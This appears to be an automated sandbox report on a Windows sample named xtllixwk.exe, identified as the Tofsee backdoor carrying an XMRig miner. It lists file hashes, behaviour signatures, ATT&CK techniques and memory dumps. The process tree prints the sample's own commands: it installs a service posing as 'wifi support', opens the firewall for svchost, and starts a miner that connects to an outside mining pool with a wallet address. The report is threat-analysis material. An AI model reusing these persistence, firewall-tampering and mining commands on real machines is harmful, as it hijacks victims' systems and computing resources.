Analysis

  • max time kernel
    151s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    15-02-2021 10:17

General

  • Target

    xtllixwk.exe

  • Size

    12.6MB

  • MD5

    a65502084b6d09ee1219201d47f46c20

  • SHA1

    6855bfa842237d60e76691ce5f59865a045e7e08

  • SHA256

    8e9077111645da006312e59519b5080e63a9ab0ef7cf686894bfa72279970a33

  • SHA512

    4a5c53deea9a78aec63de61512aa1cdf101ab8d68dcb0c478d8106e8c6fbfd1c20eb80b0c326a4544a747cf120770198d3f9ba0c6f99fd81534d689c778cc34e

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe
    "C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nhbviesf\
      2⤵
        PID:1684
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\adjdsdou.exe" C:\Windows\SysWOW64\nhbviesf\
        2⤵
          PID:684
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nhbviesf binPath= "C:\Windows\SysWOW64\nhbviesf\adjdsdou.exe /d\"C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1668
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description nhbviesf "wifi internet conection"
            2⤵
              PID:320
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start nhbviesf
              2⤵
                PID:748
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1120
              • C:\Windows\SysWOW64\nhbviesf\adjdsdou.exe
                C:\Windows\SysWOW64\nhbviesf\adjdsdou.exe /d"C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:284
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1564
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1628

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Discovery

              System Information Discovery

              1
              T1082

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\adjdsdou.exe
                MD5

                bcef463e3eeb8c3420dd50db48f3d898

                SHA1

                0f865e04a4dfe83cd9e403a50977df3abdc1a1fb

                SHA256

                475060bfd92bf330e99ef3fa465dfcfa607bf0f019601803e0e3a4e91b0f62dc

                SHA512

                14d4505f1df6ec61a7ae959489c61399efbcd76511a28fa9efc415912c0e71d51f3f4764d1f5eb3c8ddc28fa615ae95d252e2f27f1eab7d27fa5b595c1492fcf

              • C:\Windows\SysWOW64\nhbviesf\adjdsdou.exe
                MD5

                bcef463e3eeb8c3420dd50db48f3d898

                SHA1

                0f865e04a4dfe83cd9e403a50977df3abdc1a1fb

                SHA256

                475060bfd92bf330e99ef3fa465dfcfa607bf0f019601803e0e3a4e91b0f62dc

                SHA512

                14d4505f1df6ec61a7ae959489c61399efbcd76511a28fa9efc415912c0e71d51f3f4764d1f5eb3c8ddc28fa615ae95d252e2f27f1eab7d27fa5b595c1492fcf

              • memory/284-23-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

              • memory/284-16-0x0000000004C30000-0x0000000004C41000-memory.dmp
                Filesize

                68KB

              • memory/320-11-0x0000000000000000-mapping.dmp
              • memory/684-5-0x0000000000000000-mapping.dmp
              • memory/748-12-0x0000000000000000-mapping.dmp
              • memory/1120-14-0x0000000000000000-mapping.dmp
              • memory/1564-19-0x0000000000089A6B-mapping.dmp
              • memory/1564-25-0x0000000001E10000-0x000000000201F000-memory.dmp
                Filesize

                2.1MB

              • memory/1564-18-0x0000000000080000-0x0000000000095000-memory.dmp
                Filesize

                84KB

              • memory/1564-27-0x0000000000190000-0x00000000001A0000-memory.dmp
                Filesize

                64KB

              • memory/1564-26-0x0000000000140000-0x0000000000146000-memory.dmp
                Filesize

                24KB

              • memory/1628-30-0x00000000001C259C-mapping.dmp
              • memory/1628-28-0x0000000000130000-0x0000000000221000-memory.dmp
                Filesize

                964KB

              • memory/1668-10-0x0000000000000000-mapping.dmp
              • memory/1684-4-0x0000000000000000-mapping.dmp
              • memory/1924-8-0x0000000000230000-0x0000000000243000-memory.dmp
                Filesize

                76KB

              • memory/1924-3-0x0000000075AE1000-0x0000000075AE3000-memory.dmp
                Filesize

                8KB

              • memory/1924-2-0x0000000006120000-0x0000000006131000-memory.dmp
                Filesize

                68KB

              • memory/1924-9-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

              • memory/1924-6-0x0000000000220000-0x000000000022D000-memory.dmp
                Filesize

                52KB